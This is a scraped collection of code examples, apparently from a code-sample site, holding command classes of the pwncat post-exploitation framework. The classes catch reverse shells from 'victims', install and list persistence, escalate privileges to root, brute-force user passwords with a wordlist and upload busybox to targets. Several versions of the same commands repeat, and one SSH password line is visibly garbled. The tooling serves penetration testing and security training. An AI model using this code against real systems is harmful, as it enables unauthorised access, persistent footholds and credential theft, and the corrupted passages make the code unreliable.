                        f"[bold]{result.category} - {result.title}[/bold]")
                console.print(textwrap.indent(result.description, "  "))
Beispiel #22
0
class Command(CommandDefinition):
    """
    Connect to a remote victim. This command is only valid prior to an established
    connection. This command attempts to act similar to common tools such as netcat
    and ssh simultaneosly. Connection strings come in two forms. Firstly, pwncat
    can act like netcat. Using `connect [host] [port]` will connect to a bind shell,
    while `connect -l [port]` will listen for a reverse shell on the specified port.

    The second form is more explicit. A connection string can be used of the form
    `[protocol://][user[:password]@][host][:port]`. If a user is specified, the
    default protocol is `ssh`. If no user is specified, the default protocol is
    `connect` (connect to bind shell). If no host is specified or `host` is "0.0.0.0"
    then the `bind` protocol is used (listen for reverse shell). The currently available
    protocols are:

    - ssh
    - connect
    - bind

    The `--identity/-i` argument is ignored unless the `ssh` protocol is used.
    """

    PROG = "connect"
    ARGS = {
        "--config,-c":
        Parameter(
            Complete.LOCAL_FILE,
            help=
            "Path to a configuration script to execute prior to connecting",
        ),
        "--identity,-i":
        Parameter(
            Complete.LOCAL_FILE,
            help="The private key for authentication for SSH connections",
        ),
        "--listen,-l":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="Enable the `bind` protocol (supports netcat-like syntax)",
        ),
        "--port,-p":
        Parameter(
            Complete.NONE,
            help=
            "Alternative port number argument supporting netcat-like syntax",
        ),
        "--list":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="List all known hosts and their installed persistence",
        ),
        "connection_string":
        Parameter(
            Complete.NONE,
            metavar="[protocol://][user[:password]@][host][:port]",
            help="Connection string describing the victim to connect to",
            nargs="?",
        ),
        "pos_port":
        Parameter(
            Complete.NONE,
            nargs="?",
            metavar="port",
            help=
            "Alternative port number argument supporting netcat-like syntax",
        ),
    }
    LOCAL = True
    CONNECTION_PATTERN = re.compile(
        r"""^(?P<protocol>[-a-zA-Z0-9_]*://)?((?P<user>[^:@]*)?(?P<password>:(\\@|[^@])*)?@)?(?P<host>[^:]*)?(?P<port>:[0-9]*)?$"""
    )

    def run(self, args):

        protocol = None
        user = None
        password = None
        host = None
        port = None
        try_reconnect = False

        if not args.config and os.path.exists("./pwncatrc"):
            args.config = "./pwncatrc"
        elif not args.config and os.path.exists("./data/pwncatrc"):
            args.config = "./data/pwncatrc"

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                console.log(f"[red]error[/red]: {exc}")
                return

        if args.list:
            # Grab a list of installed persistence methods for all hosts
            # persist.gather will retrieve entries for all hosts if no
            # host is currently connected.
            modules = list(pwncat.modules.run("persist.gather"))
            # Create a mapping of host hash to host object and array of
            # persistence methods
            hosts = {
                host.hash: (host, [])
                for host in pwncat.victim.session.query(pwncat.db.Host).all()
            }

            for module in modules:
                hosts[module.persist.host.hash][1].append(module)

            for host_hash, (host, modules) in hosts.items():
                console.print(f"[magenta]{host.ip}[/magenta] - "
                              f"[red]{host.distro}[/red] - "
                              f"[yellow]{host_hash}[/yellow]")
                for module in modules:
                    console.print(f"  - {str(module)}")

            return

        if args.connection_string:
            m = self.CONNECTION_PATTERN.match(args.connection_string)
            protocol = m.group("protocol")
            user = m.group("user")
            password = m.group("password")
            host = m.group("host")
            port = m.group("port")

        if protocol is not None and args.listen:
            console.log(
                f"[red]error[/red]: --listen is not compatible with an explicit connection string"
            )
            return

        if (sum([
                port is not None, args.port is not None, args.pos_port
                is not None
        ]) > 1):
            console.log(f"[red]error[/red]: multiple ports specified")
            return

        if args.port is not None:
            port = args.port
        if args.pos_port is not None:
            port = args.pos_port

        if port is not None:
            try:
                port = int(port.lstrip(":"))
            except:
                console.log(f"[red]error[/red]: {port}: invalid port number")
                return

        # Attempt to assume a protocol based on context
        if protocol is None:
            if args.listen:
                protocol = "bind://"
            elif args.port is not None:
                protocol = "connect://"
            elif user is not None:
                protocol = "ssh://"
                try_reconnect = True
            elif host == "" or host == "0.0.0.0":
                protocol = "bind://"
            elif args.connection_string is None:
                self.parser.print_help()
                return
            else:
                protocol = "connect://"
                try_reconnect = True

        if protocol != "ssh://" and args.identity is not None:
            console.log(
                f"[red]error[/red]: --identity is only valid for ssh protocols"
            )
            return

        if pwncat.victim.client is not None:
            console.log("connection [red]already active[/red]")
            return

        if protocol == "reconnect://" or try_reconnect:
            level = "[yellow]warning[/yellow]" if try_reconnect else "[red]error[/red]"

            try:
                addr = ipaddress.ip_address(socket.gethostbyname(host))
                row = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if row is None:
                    console.log(f"{level}: {str(addr)}: not found in database")
                    host_hash = None
                else:
                    host_hash = row.hash
            except ValueError:
                host_hash = host

            # Reconnect to the given host
            if host_hash is not None:
                try:
                    pwncat.victim.reconnect(host_hash, password, user)
                    return
                except Exception as exc:
                    console.log(f"{level}: {host}: {exc}")

        if protocol == "reconnect://" and not try_reconnect:
            # This means reconnection failed, and we had an explicit
            # reconnect protocol
            return

        if protocol == "bind://":
            if not host or host == "":
                host = "0.0.0.0"

            if port is None:
                console.log(f"[red]error[/red]: no port specified")
                return

            with Progress(
                    f"bound to [blue]{host}[/blue]:[cyan]{port}[/cyan]",
                    BarColumn(bar_width=None),
                    transient=True,
            ) as progress:
                task_id = progress.add_task("listening", total=1, start=False)
                # Create the socket server
                server = socket.create_server((host, port), reuse_port=True)

                try:
                    # Wait for a connection
                    (client, address) = server.accept()
                except KeyboardInterrupt:
                    progress.update(task_id, visible=False)
                    progress.log("[red]aborting[/red] listener")
                    return

                progress.update(task_id, visible=False)
                progress.log(
                    f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]"
                )

            pwncat.victim.connect(client)
        elif protocol == "connect://":
            if not host:
                console.log("[red]error[/red]: no host address provided")
                return

            if port is None:
                console.log(f"[red]error[/red]: no port specified")
                return

            with Progress(
                    f"connecting to [blue]{host}[/blue]:[cyan]{port}[/cyan]",
                    BarColumn(bar_width=None),
                    transient=True,
            ) as progress:
                task_id = progress.add_task("connecting", total=1, start=False)
                # Connect to the remote host
                client = socket.create_connection((host, port))

                progress.update(task_id, visible=False)
                progress.log(
                    f"connection to "
                    f"[blue]{host}[/blue]:[cyan]{port}[/cyan] [green]established[/green]"
                )

            pwncat.victim.connect(client)
        elif protocol == "ssh://":

            if port is None:
                port = 22

            if not user or user is None:
                self.parser.error("you must specify a user")

            if not (password or args.identity):
                password = prompt("Password: "******"[red]error[/red]: {str(exc)}")
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                console.log("[red]error[/red]: ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")
            else:
                try:
                    t.auth_password(user, password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)

            if user in pwncat.victim.users and password is not None:
                console.log(f"storing user password")
                pwncat.victim.users[user].password = password
            else:
                console.log("user not found in database; not storing password")

        else:
            console.log(f"[red]error[/red]: {args.action}: invalid action")
Beispiel #23
0
class Command(CommandDefinition):
    """ Set variable runtime variable parameters for pwncat """

    def get_config_variables(self):
        return ["state"] + list(pwncat.victim.config.values) + list(pwncat.victim.users)

    PROG = "set"
    ARGS = {
        "--password,-p": Parameter(
            Complete.NONE, action="store_true", help="set a user password",
        ),
        "variable": Parameter(
            Complete.CHOICES,
            nargs="?",
            choices=get_config_variables,
            metavar="VARIABLE",
            help="the variable name to modify",
        ),
        "value": Parameter(
            Complete.LOCAL_FILE, nargs="?", help="the value for the given variable"
        ),
    }
    LOCAL = True

    def run(self, args):
        if args.password:
            if args.variable is None:
                found = False
                for user, props in pwncat.victim.users.items():
                    if "password" in props and props["password"] is not None:
                        print(
                            f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}"
                        )
                        found = True
                if not found:
                    util.warn("no known user passwords")
            else:
                if args.variable not in pwncat.victim.users:
                    self.parser.error(f"{args.variable}: no such user")
                print(
                    f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}"
                )
                pwncat.victim.users[args.variable]["password"] = args.value
        else:
            if (
                args.variable is not None
                and args.variable == "state"
                and args.value is not None
            ):
                try:
                    pwncat.victim.state = util.State._member_map_[args.value.upper()]
                except KeyError:
                    util.error(f"{args.value}: invalid state")
            elif args.variable is not None and args.value is not None:
                try:
                    pwncat.victim.config[args.variable] = args.value
                    if args.variable == "db":
                        # We handle this specially to ensure the database is available
                        # as soon as this config is set
                        pwncat.victim.engine = create_engine(
                            pwncat.victim.config["db"], echo=False
                        )
                        pwncat.db.Base.metadata.create_all(pwncat.victim.engine)

                        # Create the session_maker and default session
                        if pwncat.victim.session is None:
                            pwncat.victim.session_maker = sessionmaker(
                                bind=pwncat.victim.engine
                            )
                            pwncat.victim.session = pwncat.victim.session_maker()
                except ValueError as exc:
                    util.error(str(exc))
            elif args.variable is not None:
                value = pwncat.victim.config[args.variable]
                print(
                    f" {Fore.CYAN}{args.variable}{Fore.RESET} = "
                    f"{Fore.YELLOW}{repr(value)}{Fore.RESET}"
                )
            else:
                for name in pwncat.victim.config:
                    value = pwncat.victim.config[name]
                    print(
                        f" {Fore.CYAN}{name}{Fore.RESET} = "
                        f"{Fore.YELLOW}{repr(value)}{Fore.RESET}"
                    )
Beispiel #24
0
class Command(CommandDefinition):
    """ Manage installation of a known-good busybox binary on the remote system.
    After installing busybox, pwncat will be able to utilize it's functionality
    to augment or stabilize local binaries. This command can download a remote
    busybox binary appropriate for the remote architecture and then upload it
    to the remote system. """

    PROG = "busybox"
    ARGS = {
        "--list,-l": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="list",
            dest="action",
            help="List applets which the remote busybox provides",
        ),
        "--install,-i": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="install",
            dest="action",
            help="Install busybox on the remote host for use with pwncat",
        ),
        "--status,-s": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="status",
            dest="action",
            help="List the current busybox installation status",
        ),
        "--url,-u": Parameter(
            Complete.NONE,
            action=StoreForAction(["install"]),
            nargs=1,
            help="The base URL to download busybox binaries from (default: 1.31.0-defconfig-multiarch-musl)",
            default=(
                "https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/"
            ),
        ),
    }
    DEFAULTS = {"action": "status"}

    def run(self, args):

        if args.action == "install":
            pwncat.victim.bootstrap_busybox(args.url)
        elif args.action == "list":
            if pwncat.victim.host.busybox is None:
                util.error(
                    "busybox hasn't been installed yet (hint: run 'busybox --install'"
                )
                return
            util.info("binaries which the remote busybox provides:")

            # Find all binaries which are provided by busybox
            provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
                pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                pwncat.db.Binary.host_id == pwncat.victim.host.id,
            )

            for binary in provides:
                print(f" * {binary.name}")
        elif args.action == "status":
            if pwncat.victim.host.busybox is None:
                util.error("busybox hasn't been installed yet")
                return
            util.info(
                f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
            )

            # Find all binaries which are provided from busybox
            nprovides = (
                pwncat.victim.session.query(pwncat.db.Binary)
                .filter(
                    pwncat.db.Binary.path.contains(pwncat.victim.host.busybox),
                    pwncat.db.Binary.host_id == pwncat.victim.host.id,
                )
                .with_entities(func.count())
                .scalar()
            )
            util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
Beispiel #25
0
class Command(CommandDefinition):
    """ Set variable runtime variable parameters for pwncat """
    def get_config_variables(self):
        options = (["state"] + list(pwncat.config.values) +
                   list(pwncat.victim.users))

        if pwncat.config.module:
            options.extend(pwncat.config.module.ARGUMENTS.keys())

        return options

    PROG = "set"
    ARGS = {
        "--password,-p":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="set a user password",
        ),
        "--global,-g":
        Parameter(
            Complete.NONE,
            action="store_true",
            help="Set a global configuration",
            default=False,
        ),
        "variable":
        Parameter(
            Complete.CHOICES,
            nargs="?",
            choices=get_config_variables,
            metavar="VARIABLE",
            help="the variable name to modify",
        ),
        "value":
        Parameter(Complete.LOCAL_FILE,
                  nargs="?",
                  help="the value for the given variable"),
    }
    LOCAL = True

    def run(self, args):
        if args.password:
            if args.variable is None:
                found = False
                for name, user in pwncat.victim.users.items():
                    if user.password is not None:
                        console.print(
                            f" - [green]{user}[/green] -> [red]{repr(user.password)}[/red]"
                        )
                        found = True
                if not found:
                    console.log(
                        "[yellow]warning[/yellow]: no known user passwords")
            else:
                if args.variable not in pwncat.victim.users:
                    self.parser.error(f"{args.variable}: no such user")
                console.print(
                    f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]"
                )
                pwncat.victim.users[args.variable].password = args.value
        else:
            if (args.variable is not None and args.variable == "state"
                    and args.value is not None):
                try:
                    pwncat.victim.state = State._member_map_[
                        args.value.upper()]
                except KeyError:
                    console.log(
                        f"[red]error[/red]: {args.value}: invalid state")
            elif args.variable is not None and args.value is not None:
                try:
                    pwncat.config.set(args.variable, args.value,
                                      getattr(args, "global"))
                    if args.variable == "db":
                        # We handle this specially to ensure the database is available
                        # as soon as this config is set
                        pwncat.victim.engine = create_engine(
                            pwncat.config["db"], echo=False)
                        pwncat.db.Base.metadata.create_all(
                            pwncat.victim.engine)

                        # Create the session_maker and default session
                        pwncat.victim.session_maker = sessionmaker(
                            bind=pwncat.victim.engine)
                        pwncat.victim.session = pwncat.victim.session_maker()
                except ValueError as exc:
                    console.log(f"[red]error[/red]: {exc}")
            elif args.variable is not None:
                value = pwncat.config[args.variable]
                console.print(
                    f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]"
                )
            else:
                for name in pwncat.config:
                    value = pwncat.config[name]
                    console.print(
                        f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]"
                    )
Beispiel #26
0
class Command(CommandDefinition):
    """ Manage various persistence methods on the remote host """

    def get_method_choices(self):
        return [method.name for method in pwncat.victim.persist]

    def get_user_choices(self):
        """ Get the user options """
        current = pwncat.victim.current_user
        if current.id == 0:
            return [name for name in pwncat.victim.users]
        else:
            return [current.name]

    PROG = "persist"
    ARGS = {
        "--method,-m": Parameter(
            Complete.CHOICES,
            metavar="METHOD",
            help="Select a persistence method to deploy",
            choices=get_method_choices,
        ),
        "--user,-u": Parameter(
            Complete.CHOICES,
            metavar="USER",
            help="For non-system persistence modules, the user to install as (only valid if currently UID 0)",
            choices=get_user_choices,
        ),
        "--status,-s": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="status",
            help="Check the status of the given persistence method",
        ),
        "--install,-i": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            dest="action",
            const="install",
            help="Install the selected persistence method",
        ),
        "--list,-l": Parameter(
            Complete.NONE,
            nargs=0,
            action=StoreConstOnce,
            dest="action",
            const="list",
            help="List all available persistence methods",
        ),
        "--remove,-r": Parameter(
            Complete.NONE,
            nargs=0,
            action=StoreConstOnce,
            dest="action",
            const="remove",
            help="Remove the selected persistence method",
        ),
        "--clean,-c": Parameter(
            Complete.NONE,
            nargs=0,
            action=StoreConstOnce,
            dest="action",
            const="clean",
            help="Remove all installed persistence methods",
        ),
    }
    DEFAULTS = {"action": "status"}

    # List of available persistence methods
    METHODS: Dict[str, Type["PersistenceMethod"]] = {}

    @property
    def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]:
        me = pwncat.victim.current_user
        for method in pwncat.victim.persist:
            if method.system and method.installed():
                yield (method.name, None, method)
            elif not method.system:
                if me.id == 0:
                    for user in pwncat.victim.users:
                        util.progress(f"checking {method.name} for: {user}")
                        if method.installed(user):
                            util.erase_progress()
                            yield (method.name, user, method)
                        util.erase_progress()
                else:
                    if method.installed(me.name):
                        yield (method.name, me.name, method)

    def run(self, args):

        if args.action == "status":
            ninstalled = 0
            for user, method in pwncat.victim.persist.installed:
                print(f" - {method.format(user)} installed")
                ninstalled += 1
            if not ninstalled:
                util.warn(
                    "no persistence methods observed as "
                    f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}"
                )
            return
        elif args.action == "list":
            if args.method:
                try:
                    method = next(pwncat.victim.persist.find(args.method))
                    print(f"\033[4m{method.format()}{Style.RESET_ALL}")
                    print(textwrap.indent(textwrap.dedent(method.__doc__), "  "))
                except StopIteration:
                    util.error(f"{args.method}: no such persistence method")
            else:
                for method in pwncat.victim.persist:
                    print(f" - {method.format()}")
            return
        elif args.action == "clean":
            util.progress("cleaning persistence methods: ")
            for user, method in pwncat.victim.persist.installed:
                try:
                    util.progress(
                        f"cleaning persistance methods: {method.format(user)}"
                    )
                    pwncat.victim.persist.remove(method.name, user)
                    util.success(f"removed {method.format(user)}")
                except PersistenceError as exc:
                    util.erase_progress()
                    util.warn(
                        f"{method.format(user)}: removal failed: {exc}\n", overlay=True
                    )
            util.erase_progress()
            return
        elif args.method is None:
            self.parser.error("no method specified")
            return

        # Grab the user we want to install the persistence as
        if args.user:
            user = args.user
        else:
            # Default is to install as current user
            user = pwncat.victim.whoami()

        try:
            if args.action == "install":
                pwncat.victim.persist.install(args.method, user)
            elif args.action == "remove":
                pwncat.victim.persist.remove(args.method, user)
        except PersistenceError as exc:
            util.error(f"{exc}")
Beispiel #27
0
class Command(CommandDefinition):
    """ Attempt various privilege escalation methods. This command will attempt
    search for privilege escalation across all known modules. Privilege escalation
    routes can grant file read, file write or shell capabilities. The "escalate"
    mode will attempt to abuse any of these to gain a shell.

    Further, escalation and file read/write actions will attempt to escalate multiple
    times to reach the target user if possible, attempting all known escalation paths
    until one arrives at the target user. """

    def get_user_choices(self):
        """ Get a list of all users on the remote machine. This is used for
        parameter checking and tab completion of the "users" parameter below. """
        return list(pwncat.victim.users)

    def get_method_ids(self):
        """ Get a list of valid method IDs """
        if pwncat.victim is None:
            return []
        return [method.id for method in pwncat.victim.privesc.methods]

    PROG = "privesc"
    ARGS = {
        "--list,-l": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="list",
            dest="action",
            help="Enumerate and list available privesc techniques",
        ),
        "--all,-a": Parameter(
            Complete.NONE,
            action="store_const",
            dest="user",
            const=None,
            help="list escalations for all users",
        ),
        "--user,-u": Parameter(
            Complete.CHOICES,
            default="root",
            choices=get_user_choices,
            metavar="USER",
            help="the user to gain privileges as",
        ),
        "--max-depth,-m": Parameter(
            Complete.NONE,
            default=None,
            type=int,
            help="Maximum depth for the privesc search (default: no maximum)",
        ),
        "--read,-r": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="read",
            dest="action",
            help="Attempt to read a remote file as the specified user",
        ),
        "--write,-w": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="write",
            dest="action",
            help="Attempt to write a remote file as the specified user",
        ),
        "--path,-p": Parameter(
            Complete.REMOTE_FILE,
            action=StoreForAction(["write", "read"]),
            help="Remote path for read or write actions",
        ),
        "--escalate,-e": Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            nargs=0,
            const="escalate",
            dest="action",
            help="Attempt to escalate to gain a full shell as the target user",
        ),
        "--exclude,-x": Parameter(
            Complete.CHOICES,
            action="append",
            choices=get_method_ids,
            metavar="METHOD",
            help="Methods to exclude from the search",
        ),
        "--data,-d": Parameter(
            Complete.LOCAL_FILE,
            action=StoreForAction(["write"]),
            default=None,
            help="The local file to write to the remote file",
        ),
    }
    DEFAULTS = {"action": "list"}

    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user, exclude=args.exclude)
            if len(techniques) == 0:
                console.log("no techniques found")
            else:
                for tech in techniques:
                    color = "green" if tech.user == "root" else "green"
                    console.print(
                        f" - [magenta]{tech.get_cap_name()}[/magenta] "
                        f"as [{color}]{tech.user}[/{color}] "
                        f"via {tech.method.get_name(tech)}"
                    )
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain, technique = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth
                )
                console.log(f"file [green]opened[/green] with {technique}")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                console.log(f"file write [red]failed[/red]")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except (PermissionError, FileNotFoundError):
                console.log(f"{args.data}: no such file or directory")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path, data, target_user=args.user, depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                console.log("file write [green]succeeded[/green]")
            except privesc.PrivescError as exc:
                console.log(f"file write [red]failed[/red]: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(
                    args.user, depth=args.max_depth, exclude=args.exclude
                )

                console.log("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"[yellow]\u2ba1[/yellow] "
                    console.log(f"{(i+1)*' '}{arrow}{technique}")

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    pwncat.victim.command_parser.dispatch_line("euid_fix")

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                console.log(f"privilege escalation [red]failed[/red]: {exc}")
Beispiel #28
0
class Command(CommandDefinition):
    """
    Attempt to bruteforce user password(s) from a dictionary. This will
    use the provided dictionary to attempt a local passwod bruteforce.
    
    WARNING: if automatic disabling of accounts is enabled, this **will**
                lock the targeted account out!
    """
    def get_remote_users(self):
        if pwncat.victim is not None:
            return pwncat.victim.users.keys()
        else:
            return []

    PROG = "bruteforce"
    ARGS = {
        "--dictionary,-d":
        Parameter(
            Complete.LOCAL_FILE,
            type=argparse.FileType("r"),
            help=
            "The local dictionary to use for bruteforcing (default: kali rockyou)",
            default="/usr/share/wordlists/rockyou.txt",
        ),
        "--user,-u":
        Parameter(
            Complete.CHOICES,
            choices=get_remote_users,
            help=
            "A local user to bruteforce; this can be passed multiple times for multiple users.",
            action="append",
            required=True,
            metavar="USERNAME",
        ),
    }

    def run(self, args):

        with Progress(
                "bruteforcing",
                "[blue]{task.description}",
                "•",
                "[cyan]{task.fields[password]}",
        ) as progress:
            tasks = [
                progress.add_task(name, password="", start=False)
                for name in args.user
            ]
            for i, name in enumerate(args.user):
                args.dictionary.seek(0)
                progress.start_task(tasks[i])
                for line in args.dictionary:
                    line = line.strip()

                    progress.update(tasks[i], password=line)

                    try:
                        # Attempt the password
                        pwncat.victim.su(name, line, check=True)
                        pwncat.victim.users[name].password = line
                        progress.update(
                            tasks[i],
                            password=f"password is [green]{repr(line)}[/green]",
                        )
                        break
                    except PermissionError:
                        continue
                else:
                    progress.update(
                        tasks[i],
                        password="******")
                progress.stop_task(tasks[i])
Beispiel #29
0
class Command(CommandDefinition):
    """ Connect to a remote host via SSH, bind/reverse shells or previous
    persistence methods installed during past sessions. """

    PROG = "connect"
    ARGS = {
        "--config,-C":
        Parameter(
            Complete.NONE,
            help=
            "Path to a configuration script to execute prior to connecting",
        ),
        "--listen,-l":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="listen",
            nargs=0,
            help="Listen for an incoming reverse shell",
        ),
        "--connect,-c":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="connect",
            nargs=0,
            help="Connect to a remote bind shell",
        ),
        "--ssh,-s":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="ssh",
            nargs=0,
            help="Connect to a remote ssh server",
        ),
        "--reconnect,-r":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="reconnect",
            nargs=0,
            help="Reconnect to the given host via a persistence method",
        ),
        "--list":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="list",
            nargs=0,
            help="List remote hosts with persistence methods installed",
        ),
        "--host,-H":
        Parameter(
            Complete.NONE,
            help=
            "Address to listen on or remote host to connect to. For reconnections, this can be a host hash",
        ),
        "--port,-p":
        Parameter(
            Complete.NONE,
            type=int,
            help="The port to listen on or connect to",
            action=StoreForAction(["connect", "listen", "ssh"]),
        ),
        "--method,-m":
        Parameter(
            Complete.NONE,
            help="The method to user for reconnection",
            action=StoreForAction(["reconnect"]),
        ),
        "--user,-u":
        Parameter(
            Complete.NONE,
            help=
            "The user to reconnect as; if this is a system method, this parameter is ignored.",
            action=StoreForAction(["reconnect", "ssh"]),
        ),
        "--password,-P":
        Parameter(
            Complete.NONE,
            help="The password for the specified user for SSH connections",
            action=StoreForAction(["ssh"]),
        ),
        "--identity,-i":
        Parameter(
            Complete.NONE,
            help="The private key for authentication for SSH connections",
            action=StoreForAction(["ssh"]),
        ),
    }
    DEFAULTS = {"action": "none"}
    LOCAL = True

    def run(self, args):

        if pwncat.victim.client is not None:
            util.error(
                "connect can only be called prior to an active connection!")
            return

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                self.parser.error(str(exc))

        if args.action == "none":
            # No action was provided, and no connection was made in the config
            if pwncat.victim.client is None:
                self.parser.print_help()
            return

        if args.action == "listen":
            if not args.host:
                args.host = "0.0.0.0"

            util.progress(f"binding to {args.host}:{args.port}")

            # Create the socket server
            server = socket.create_server((args.host, args.port),
                                          reuse_port=True)

            try:
                # Wait for a connection
                (client, address) = server.accept()
            except KeyboardInterrupt:
                util.warn(f"aborting listener...")
                return

            util.success(f"received connection from {address[0]}:{address[1]}")
            pwncat.victim.connect(client)
        elif args.action == "connect":
            if not args.host:
                self.parser.error(
                    "host address is required for outbound connections")

            util.progress(f"connecting to {args.host}:{args.port}")

            # Connect to the remote host
            client = socket.create_connection((args.host, args.port))

            util.success(f"connection to {args.host}:{args.port} established")
            pwncat.victim.connect(client)
        elif args.action == "ssh":

            if not args.port:
                args.port = 22

            if not args.user:
                self.parser.error("you must specify a user")

            if not (args.password or args.identity):
                self.parser.error(
                    "either a password or identity file is required")

            try:
                # Connect to the remote host's ssh server
                sock = socket.create_connection((args.host, args.port))
            except Exception as exc:
                util.error(str(exc))
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                util.error("ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(args.user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")
            else:
                try:
                    t.auth_password(args.user, args.password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)
        elif args.action == "reconnect":
            if not args.host:
                self.parser.error(
                    "host address or hash is required for reconnection")

            try:
                addr = ipaddress.ip_address(args.host)
                util.progress(f"enumerating persistence methods for {addr}")
                host = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if host is None:
                    util.error(f"{args.host}: not found in database")
                    return
                host_hash = host.hash
            except ValueError:
                host_hash = args.host

            # Reconnect to the given host
            try:
                pwncat.victim.reconnect(host_hash, args.method, args.user)
            except PersistenceError as exc:
                util.error(f"{args.host}: connection failed")
                return
        elif args.action == "list":
            if pwncat.victim.session is not None:
                for host in pwncat.victim.session.query(pwncat.db.Host):
                    if len(host.persistence) == 0:
                        continue
                    print(
                        f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
                    )
                    for p in host.persistence:
                        print(
                            f"  - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
                        )
        else:
            util.error(f"{args.action}: invalid action")
Beispiel #30
0
class Command(CommandDefinition):
    """ Connect to a remote host via SSH, bind/reverse shells or previous
    persistence methods installed during past sessions. """

    PROG = "connect"
    ARGS = {
        "--config,-C":
        Parameter(
            Complete.NONE,
            help=
            "Path to a configuration script to execute prior to connecting",
        ),
        "--listen,-l":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="listen",
            nargs=0,
            help="Listen for an incoming reverse shell",
        ),
        "--connect,-c":
